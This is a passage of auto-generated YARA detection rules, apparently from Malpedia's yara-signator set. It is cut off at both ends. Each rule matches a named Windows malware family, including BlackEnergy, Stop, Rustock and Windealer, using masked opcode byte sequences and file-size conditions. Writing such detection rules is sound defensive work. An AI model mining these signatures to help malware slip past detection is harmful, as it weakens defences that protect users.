		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kutaki_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "2d6337f5a069ed263b69e96c0f4411506a5a576a0de1c3fe88d0c7f6f51b0ebe"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8945d4 8d55d4 52 8d45cc 50 ff15???????? }
		$sequence_1 = { ff15???????? 85c0 0f849b020000 8d4ddc 51 ff15???????? 50 }
		$sequence_2 = { 51 e8???????? c745fc04000000 8b5510 33db 833a00 0f9ec3 }
		$sequence_3 = { 8b4db4 3b4810 7309 c7458800000000 eb09 ff15???????? }
		$sequence_4 = { 8d953cffffff 52 6808200000 ff15???????? 898564feffff 8d8564feffff 50 }
		$sequence_5 = { ffd7 a1???????? 6685f6 0f8dfd000000 85c0 7515 68???????? }
		$sequence_6 = { 50 ff15???????? 898548ffffff eb0a c78548ffffff00000000 833d????????00 751c }
		$sequence_7 = { 68???????? c78570ffffff01000000 c78568ffffff02000000 ffd6 68???????? 66898560ffffff c78558ffffff02000000 }
		$sequence_8 = { 8985a4feffff 83bda4feffff00 7d26 68a0000000 }
		$sequence_9 = { 8b957cffffff 52 ff15???????? 898518ffffff eb0a c78518ffffff00000000 8b45c8 }
	condition:
		7 of them and filesize < 1335296
}

rule MALPEDIA_Win_Blackenergy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "62fd91e5-385e-5b2b-8f41-0f60c4fa0e69"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackenergy_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "4b4bc961d280588360830fea0a66046ffbc4c49bb89c22238ddcc6fa38fb42f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89430c 8bc3 5f 5b }
		$sequence_1 = { 56 e8???????? 8bf0 85f6 7417 56 6a00 }
		$sequence_2 = { e8???????? 85c0 0f848c130000 8945b4 8b7508 8b7d10 8b4d0c }
		$sequence_3 = { c70200000000 8b5104 0bd2 7407 c7420800000000 5a }
		$sequence_4 = { 49 8bc3 2bc1 40 5b 5f 8bd0 }
		$sequence_5 = { 53 e8???????? 6a00 ffd0 8b5f3c 8365c800 }
		$sequence_6 = { 47 38e0 74f1 3bca 7602 }
		$sequence_7 = { ff15???????? c3 55 8bec 81ec08010000 8365fc00 57 }
		$sequence_8 = { 83f905 770b c745f409000000 33c9 }
		$sequence_9 = { ff75c4 51 6a00 ff7514 56 ff7508 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Doubleback_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "035a9a1e-c37c-5062-9628-749c129d60a8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doubleback_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "3ec9aa1fddb06b8b6c176677c7cb9e9e3472c33e097d5e85291d462774406acd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b947060000 eb49 b9e7050000 eb42 b9e3050000 eb3b }
		$sequence_1 = { b947060000 eb49 b9e7050000 eb42 }
		$sequence_2 = { 3d00280000 7438 3d5a290000 742a 3d39380000 741c 3dd73a0000 }
		$sequence_3 = { b9d4070000 eb13 b975070000 eb0c b96f070000 eb05 }
		$sequence_4 = { e8???????? 85c0 7508 c60703 }
		$sequence_5 = { b9e3050000 eb3b b90b070000 eb34 2d63450000 7428 }
		$sequence_6 = { eb49 b9e7050000 eb42 b9e3050000 eb3b b90b070000 eb34 }
		$sequence_7 = { b975070000 eb0c b96f070000 eb05 }
		$sequence_8 = { b9d4070000 eb13 b975070000 eb0c b96f070000 }
		$sequence_9 = { 751a b9d4070000 eb13 b975070000 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Unidentified_094_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f5bdd8f3-d974-5222-9555-3631072a29c0"
		date = "2023-12-06"
		modified = "2023-12-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_094_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "f3d0ed91e99c9ab03a6ddd24a2a28007a40b7e677077c8b725a5a67f32cc52a7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20231130"
		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
		malpedia_version = "20230808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 890d???????? 57 8915???????? a3???????? 83ceff b9???????? }
		$sequence_1 = { 6a5c 68???????? e8???????? 83c408 33c9 }
		$sequence_2 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? }
		$sequence_3 = { 83c310 ff4d0c 0f857ffeffff 5f }
		$sequence_4 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? c3 }
		$sequence_5 = { 884dff 84d2 7902 341b }
		$sequence_6 = { 3055fd 0fb61401 3055fe 0fb6540101 3055ff 8b55fc 89540102 }
		$sequence_7 = { 6a00 6a00 6a00 ff15???????? c3 }
		$sequence_8 = { 80f31b 8ad3 02d2 84db 7903 80f21b }
		$sequence_9 = { 890d???????? 57 8915???????? a3???????? }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Moonwind_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b9622b32-c792-5aeb-a059-5721d1f27a2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwind_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "6d3886946e413d262cc391b5e8605e5201d1334018954f9d8c7fe7ffb4921df3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b90f000000 f3ab 83c308 b800000000 }
		$sequence_1 = { 83c404 03d8 895dec 8965e8 6828000000 8b45f0 50 }
		$sequence_2 = { 3965a8 740d 6806000000 e8???????? 83c404 50 8b5da4 }
		$sequence_3 = { 83c404 8b45ec 50 8b1d???????? 85db 7409 53 }
		$sequence_4 = { e8???????? 83c428 8945ac 8b45ac 50 8b5dd8 53 }
		$sequence_5 = { 68000000c0 ff750c e8???????? a3???????? 833d????????ff 0f84b2000000 e8???????? }
		$sequence_6 = { 6824000000 e8???????? 83c404 a3???????? 8bd8 8bf8 }
		$sequence_7 = { 8b5d08 8b1b 83c304 895dfc 8965f8 6805000000 8b5dfc }
		$sequence_8 = { 53 8903 8bd8 c70300000000 c7430400000000 5b 8b5d08 }
		$sequence_9 = { 51 8d542478 8944247c 6a00 52 40 6a00 }
	condition:
		7 of them and filesize < 1417216
}

rule MALPEDIA_Win_Lyposit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c947693c-fdb4-5804-b039-d3be391d589e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lyposit_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "1aae27919b7142f3a956ce5a03df97f5716bf7d507962564bd1a349d0184cbbf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? e8???????? 8b5d10 8365fc00 6a1c 6a40 ff15???????? }
		$sequence_1 = { 53 ff15???????? 85c0 742a 6aff ff75c0 ff15???????? }
		$sequence_2 = { 83c410 85c0 7424 8b4ddc 8a01 3c31 7504 }
		$sequence_3 = { 8b0f e8???????? 59 59 0337 }
		$sequence_4 = { 52 50 ff91d0000000 8d45e4 50 ff15???????? ebd3 }
		$sequence_5 = { 66a3???????? 8be5 5d c3 6a14 68???????? e8???????? }
		$sequence_6 = { 84d2 7407 838b0c02000020 807dff00 7407 }
		$sequence_7 = { ff75e4 ff7604 ff36 ff7508 e8???????? }
		$sequence_8 = { 8b45fc ebd0 53 55 33db 33ed }
		$sequence_9 = { ff75e4 ff15???????? 85c0 7425 6a0b 56 ff75d8 }
	condition:
		7 of them and filesize < 466944
}

rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d81a4891-2ccb-5a37-a1c9-3cb6dc4ddf54"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nozelesn_decryptor_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "df00466a0b451868376ca8f8e40a817d0c669175deb69c467a31b881c85a7c54"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1c20d 33f0 8bca 33f2 c1e103 33c8 d1c6 }
		$sequence_1 = { 8bff 55 8bec 8b4d08 33c0 3b0cc5a8574600 7427 }
		$sequence_2 = { 80f939 7510 c60630 8b8578ffffff 4e 3bf0 75e0 }
		$sequence_3 = { 0f8742010000 eb14 8b7d80 83c002 8b75b4 8b8d7cffffff e9???????? }
		$sequence_4 = { 8b450c 8b5508 8bca c745e800000000 c745ec0f000000 8b38 }
		$sequence_5 = { 53 8b5d10 56 57 8bf9 33f6 8b07 }
		$sequence_6 = { 89bd78ffffff 47 897d8c 813900ca9a3b 88559f 0f95c0 895588 }
		$sequence_7 = { 8bfb 335df8 f7d7 8b4df8 0bd8 f7d1 }
		$sequence_8 = { c745e428664200 eb08 8d4dd8 e8???????? 837e1808 }
		$sequence_9 = { 837de800 894da0 894d90 7653 8b03 8d4dc0 51 }
	condition:
		7 of them and filesize < 1122304
}

rule MALPEDIA_Win_Graphican_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "306b4097-e66d-555f-a881-23bb9c0b513c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphican_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "4ea64380581d8093475f0f95452d6256bbd394365c1616fdf688ce08e91d23e0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bbed0030000 8b5dfc 2bf8 8d04fa 8b51fc 8b7de8 899486e8010000 }
		$sequence_1 = { 757b 8b4d0c 57 8b7d08 8955fc 894d08 85c0 }
		$sequence_2 = { 57 c785f0dfffff00000000 ff15???????? 8b85ecdfffff 8b8df0dfffff 53 50 }
		$sequence_3 = { 8b7de8 899486e8010000 8b45ec 40 43 }
		$sequence_4 = { 897dc0 3c30 7c04 3c39 7e4b 8b5d08 397318 }
		$sequence_5 = { 746d 53 8d9ef4030000 807e0400 8bc3 7428 33d2 }
		$sequence_6 = { 5e c3 33c0 33d2 85c0 5f 0f94c0 }
		$sequence_7 = { 8b4148 ffd0 8b7dc0 33f6 895dc8 895dc4 }
		$sequence_8 = { 8b10 50 8b4208 ffd0 8b45c8 3bc3 }
		$sequence_9 = { 83c40c 50 e8???????? 8bf8 83c404 }
	condition:
		7 of them and filesize < 362496
}

rule MALPEDIA_Win_Stop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bc295ac7-db91-5568-b9e1-1d450db9b984"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stop_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "22c4b0b970b8ce1325818e94329339f1bb669a97f8cb3590d85b78790ea24a40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff15???????? 8bf8 85ff 790f }
		$sequence_1 = { ff15???????? 8bf8 85ff 790f }
		$sequence_2 = { 51 dd1c24 e8???????? dc4de0 }
		$sequence_3 = { 56 6a00 ff7508 68???????? 6a00 }
		$sequence_4 = { 33c9 eb14 8bce 8d5902 668b01 83c102 6685c0 }
		$sequence_5 = { 33c9 eb14 8bce 8d5902 }
		$sequence_6 = { ffd6 85c0 75e2 5f }
		$sequence_7 = { 68f4010000 57 ff15???????? 57 }
		$sequence_8 = { 50 ffd6 85c0 75e8 6a0a ff7304 }
		$sequence_9 = { ff7508 ffd0 5d c3 8b0d???????? 33d2 }
	condition:
		7 of them and filesize < 6029312
}

rule MALPEDIA_Win_Bernhardpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "252fe43d-34d2-5ba3-916c-e631fcda4c17"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bernhardpos_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "a85fc3a62e77b7c1681166d26b96a4f5d23c2afe6eddbdde5dc49efbc64461ae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4508 50 ff15???????? 8945fc c745f800000000 c745f400000000 }
		$sequence_1 = { 884a02 6a01 ff15???????? 8b8d58feffff }
		$sequence_2 = { 50 8d8dc8fbffff 51 ff15???????? 6a00 }
		$sequence_3 = { 8bec 81ec84040000 53 56 57 6a04 }
		$sequence_4 = { 85c0 0f8488010000 8b45fc 8b4844 51 }
		$sequence_5 = { 8d8550feffff 50 8d8d5cfeffff 51 6a00 }
		$sequence_6 = { 8b4dec c1e108 0345e8 03c8 }
		$sequence_7 = { 8b45e4 c1e806 83e03f 8b4d0c 034df4 }
		$sequence_8 = { e8???????? a3???????? 68a86b4aa0 a1???????? 50 e8???????? }
		$sequence_9 = { e8???????? a3???????? 684f5b51f2 a1???????? 50 e8???????? a3???????? }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Safenet_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f291e692-0cf7-535f-829f-d3eb37065334"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.safenet_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "8771350f205428c4c7fbcedc7de0eba58fbdfc684579398209f093f9a759ec1a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4db4 50 c645fc01 e8???????? 8b4d08 }
		$sequence_1 = { ff15???????? eb5a ff75fc ff15???????? }
		$sequence_2 = { 8b45fc 3bc3 7504 c6461401 }
		$sequence_3 = { 51 8d8d7cffffff ff7634 51 50 ffd3 85c0 }
		$sequence_4 = { 68???????? 57 ff15???????? 3bc6 7505 83ceff }
		$sequence_5 = { 3b1d???????? 0f8315010000 8bc3 8bcb c1f805 83e11f 8b048540174100 }
		$sequence_6 = { 50 ff7638 57 ff7618 ff55f8 }
		$sequence_7 = { 8d34b5d0d84000 83c00c 3bc6 7305 395004 }
		$sequence_8 = { ff750c e8???????? ff75ec e8???????? ff75e8 e8???????? }
		$sequence_9 = { c745bc3c000000 c745c040040000 ff15???????? 8945c4 8d85b4fdffff 8945cc }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Noxplayer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52c2d792-4208-534f-9752-70135571b141"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.noxplayer_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "39f8c0f5aeb72bc127d7da1eaa9ec4c91ef0378727bf180400ab0a14310839c7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 4883ec20 488b7968 488d05833a0300 488bd9 488901 4885ff }
		$sequence_1 = { 33db 48391d???????? 488bf8 0f85d5000000 488d0d6fc70000 ff15???????? }
		$sequence_2 = { 488d15757f0200 48894c2420 4885c9 7419 483901 750f 488b4108 }
		$sequence_3 = { 488b742450 488bc3 4883c440 5b c3 488d542430 4533c9 }
		$sequence_4 = { 49c7430801000000 8b530c 85d2 743e 660f1f440000 448d42ff 41d1f8 }
		$sequence_5 = { eb06 488bd8 488b00 80782900 74e8 483b5908 }
		$sequence_6 = { 4c8be8 0fb6465c 84c0 0f8553040000 4533e4 488b4e50 e8???????? }
		$sequence_7 = { 742b 488bcf e8???????? 483b3d???????? 741a 488d05354c0200 483bf8 }
		$sequence_8 = { 4c8d4204 e8???????? eb78 488b4f50 498bd4 488b01 ff5040 }
		$sequence_9 = { 41390424 745d 807b1d00 754a 488b4310 80781d00 7520 }
	condition:
		7 of them and filesize < 742400
}

rule MALPEDIA_Win_Swen_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01c07f06-713c-58de-abb2-d741b6b7f019"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.swen"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.swen_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "c23034223b381f25ac775fe21bfc90a4b7d7644747556b010494835d089cdb6c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 8d85e0fdffff 50 e8???????? 59 59 53 }
		$sequence_1 = { 895dfc 68c8000000 53 68???????? e8???????? 83c40c 891d???????? }
		$sequence_2 = { 8d8564ffffff eb03 8d45c8 50 8d8540feffff 50 e8???????? }
		$sequence_3 = { 85c0 740a e8???????? e9???????? 8d85bcfcffff 50 }
		$sequence_4 = { 0f84f8020000 8d7801 803f79 750a c78574feffff01000000 8818 8d8581feffff }
		$sequence_5 = { 85c0 0f85ccfdffff 6820bf0200 e8???????? 59 8bf8 89bd1cfeffff }
		$sequence_6 = { 83c40c 85c0 750c 834dfcff 6a01 58 e9???????? }
		$sequence_7 = { 680000aa00 ff15???????? 8945d0 6a08 ff15???????? 50 ff75a8 }
		$sequence_8 = { 57 6a01 68???????? bb???????? 53 bf02000080 57 }
		$sequence_9 = { 7456 6a02 53 53 57 ff15???????? ff7508 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Flawedgrace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "38c84019-ad8d-570b-aa3f-e7acbb9a406b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flawedgrace_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "c317abd86b3ba4cb04110fcc0785854b53fd3854465be9cdca5825ec671c6c3a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bcf e8???????? 83c404 85c0 0f84a8010000 0f31 52 }
		$sequence_1 = { 0fb6c0 894dec 8bcb c1e918 8b0485e0bb4500 33048de0bf4500 894510 }
		$sequence_2 = { c6853bf5ffff00 c6853cf5ffffff c6853df5ffff25 c6853ef5ffff30 c6853ff5ffff20 c68540f5ffff40 c68541f5ffff00 }
		$sequence_3 = { c6858ddaffff33 c6858edaffff00 c6858fdaffff00 c68590daffff00 c68591daffff00 c68592daffff00 c68593daffff00 }
		$sequence_4 = { c68565f2ffff00 c68566f2ffff85 c68567f2ffffc0 c68568f2ffff74 c68569f2ffff3a c6856af2ffff81 c6856bf2ffff7d }
		$sequence_5 = { 7416 8b85ccc0ffff 50 6a00 ff15???????? }
		$sequence_6 = { 8b0495b8d34600 f644082801 7421 57 e8???????? 59 50 }
		$sequence_7 = { c685abfdffff00 c685acfdffff00 c685adfdffff00 c685aefdffff00 c685affdffff00 c685b0fdffff00 c685b1fdffff00 }
		$sequence_8 = { 3934bdb8d34600 7531 e8???????? 8904bdb8d34600 85c0 7514 6a0c }
		$sequence_9 = { c685d3c8ffff05 c685d4c8ffff00 c685d5c8ffff00 c685d6c8ffff00 c685d7c8ffffe8 c685d8c8ffff48 c685d9c8ffff0f }
	condition:
		7 of them and filesize < 966656
}

rule MALPEDIA_Win_Windealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87b31818-e67b-5c82-9927-08d581ce1fca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.windealer_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "cda4114916f5f955b9ea27c4701626023386bb93ae37a566cf799b5d0e98aca8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 ff15???????? 85c0 7407 50 ff15???????? 6a01 }
		$sequence_1 = { 6a04 50 6a04 68???????? 68???????? }
		$sequence_2 = { 668b91d2070000 8a89d0070000 52 51 }
		$sequence_3 = { 56 57 68da070000 e8???????? }
		$sequence_4 = { 8b4d08 668b91d2070000 8a89d0070000 52 51 }
		$sequence_5 = { 6a01 50 56 e8???????? 83c410 8bc7 }
		$sequence_6 = { 53 56 57 68da070000 }
		$sequence_7 = { 50 56 e8???????? 83c410 8b4618 }
		$sequence_8 = { ff15???????? 85c0 7407 50 ff15???????? 6a01 }
		$sequence_9 = { 8b4d08 668b91d2070000 8a89d0070000 52 }
	condition:
		7 of them and filesize < 770048
}

rule MALPEDIA_Win_Rustock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "81c11374-a224-57b2-ae9d-b05ee172db6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustock_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "f23c8787fe5677c0679006ea20fcb161a3a7545dab517b9c25455040e02f455c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8945c0 85c0 7504 33f6 eb21 ff751c }
		$sequence_1 = { f7d1 8b15???????? 8d6424fc 893424 5a 31c6 }
		$sequence_2 = { 7403 46 ebd4 0fb60e 46 83f92d 8bd1 }
